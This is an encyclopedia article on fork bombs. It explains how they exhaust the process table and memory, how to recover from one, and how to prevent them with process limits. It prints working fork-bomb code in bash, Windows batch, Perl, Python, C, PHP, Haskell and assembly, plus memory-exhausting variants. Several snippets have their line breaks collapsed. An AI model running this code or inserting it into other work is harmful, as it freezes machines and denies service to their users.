Fork bomb
From Wikipedia, the free encyclopedia
The fork bomb is a form of denial of service attack against a computer system that implements the fork operation, or equivalent functionality whereby a running process can create another running process. It is considered a wabbit as fork bomb programs typically do not spread as worms or viruses. It relies on the assumption that the number of programs and processes which may be simultaneously executed on a computer has a limit.
A fork bomb works by creating a large number of processes very quickly in order to saturate the available space in the list of processes kept by the computer's operating system. If the process table becomes saturated, no new programs may be started until another terminates. Even if that happens, it is not likely that a useful program may be started since the instances of the bomb program are each waiting to take that slot themselves.
Not only do fork bombs use space in the process table, they each use processor time and memory. As a result of this, the system and existing programs slow down and become much more difficult (slow to respond), or even impossible, to use.
As well as being specifically malicious, fork bombs can occur by accident in the normal development of software. The development of an application that listens on a network socket and acts as the server in a Client-server system, may well use an infinite loop and fork operation in a similar way as presented below. A trivial bug in the source of this kind of application could cause a fork bomb when tested.
Contents |
[edit] Example fork bombs
The following is arguably one of the most elegant examples of a fork bomb. It was created by Jaromil in 2002, and released as an open source piece of art. The fork bomb is executed by pasting the following 13 characters into a UNIX shell such as bash or zsh.[1]
:(){ :|:& };:
Forkbombs using the Microsoft Windows (any version) batch language:
:s START %0 GOTO :s
And more concise version:
%0|%0
In Perl:
#!/usr/bin/perl fork while 1
In Haskell:
import Control.Monad import System.Posix.Process forkBomb = forever $ forkProcess forkBomb
Using Python:
import os while True: os.fork()
Or in C:
#include <unistd.h> int main(int argc, char* args[]) { while(1) fork(); return 0; }
And in PHP (probably only for POSIX compatible systems):
while(1) pcntl_fork();
In x86 assembly (for Linux(assemble with FASM)):
format ELF executable
entry start
start:
push 0x2 ; Linux fork system call
pop eax ;
int 0x80 ; Call to the kernel
jmp start ; Loop back to the start
[edit] Variants
A common variant on the typical fork bomb is to allocate heap memory anonymously, causing a memory leak by design. This can quickly bring an operating system into swap making it harder for a user or sysadmin to prevent an attack, as the OS becomes less responsive due to the overheads of paging. This is most easily done using a language that does not have managed data types, such as C, in which system calls and libraries are easily accessible:
#include <stdlib.h> #include <unistd.h> int main(void) { /* An infinite loop. */ while (1) { /* Try to allocate 1MB of memory. */ malloc(1048576); /* Fork the process so that we have exponential growth in memory. */ fork(); } return EXIT_SUCCESS; }
By allocating memory on the heap the fork bomb process has a much larger memory footprint than it would have otherwise had. It now takes fewer iterations of forking to consume physical system memory. On modern computer systems a simpler fork bomb might reach the operating system's process limit before using up system memory and going into swap.
However, this may not actually cause as much damage as one would think. In many modern operating systems, such as Linux, the method of memory allocation limits the allocation of anonymous memory.[citation needed] To ensure you are actually given physical memory you must first try and write to it, see Copy-on-write in virtual memory. For example in C one can try the following:
#include <stdlib.h> #include <unistd.h> int main(void) { int *x; while (1) { fork(); /* Allocate the memory to a pointer to int */ x = malloc(sizeof(int) * 1048576); /* Try to use the newly allocated memory */ *x = 0; } return EXIT_SUCCESS; }
... but that would only change the first page of virtual memory allocated by malloc. In order to effectively consume 1 MB of physical memory, one should modify at least one byte in each page.
[edit] Difficulty of cure
Once a successful fork bomb has been activated in a system it may not be possible to resume normal operation without rebooting, as the only solution to a fork bomb is to destroy all instances of it. Trying to use a program to kill the rogue processes normally requires another process be created, which may not be possible if there are no empty slots in the process table, or space in memory structures.
However, in practice, some of these fork bombs can be cured relatively easily. Consider the shell fork bomb shown below:
:(){ :|:& };:
One important "feature" in this code is that a fork bomb process which can no longer fork, doesn't stick around but rather exits. If we try often enough, eventually we'll be able to run a new do-nothing process; Each new do-nothing process we run reduces the number of rampant "fork bomb" processes by one, until eventually we can eradicate all of them, when the do-nothing processes can exit. The following short Z Shell code will typically get rid of the above fork bomb in about a minute:
while (sleep 100 &!) do; done
[edit] Prevention
One way to prevent a fork bomb is to limit the number of processes that a single user may own. When a process tries to create another process and the owner of that process already owns more than the maximum, the creation fails. The maximum should be low enough that if all the users who might simultaneously bomb a system do, there are still enough resources left to avoid disaster. Note that an accidental fork bomb is highly unlikely to involve more than one user. There is a Linux kernel patch that enables logging of which user has started a fork bomb called grsecurity[2].
Unix-type systems typically have such a limit, controlled by a ulimit shell command[3]. With a Linux kernel, it is the RLIMIT_NPROC rlimit of a process. If a process tries to perform a fork and the user that owns that process already owns more than RLIMIT_NPROC processes, it fails. Additionally, on Linux or *BSD, you can edit the pam_limits config file: /etc/security/limits.conf[4] to the same effect. However, not all distributions of Linux have the pam_limits module installed by default.
Another solution involves the detection of fork bombs by the operating system, which is not widely practiced. However, it has been implemented in the form of a Linux kernel module called rexFBD[5].
Note that simply limiting the number of processes a process may create does not prevent a fork bomb, because each process that the fork bomb creates also creates processes. A distributive resource allocation system in which a process' resources are a share of its parents resources would work, but distributive resource systems are not in common use.
[edit] Further challenges
Even with the above precautions, fork bombs can still have disastrous effects on a system. For example, if a server has 24 CPUs and allows ordinary users to have up to 100 processes, a fork bomb can still saturate all 24 CPUs even after it can no longer multiply. This can make the system completely unresponsive, to the point where an administrator cannot log in to fix the problem.
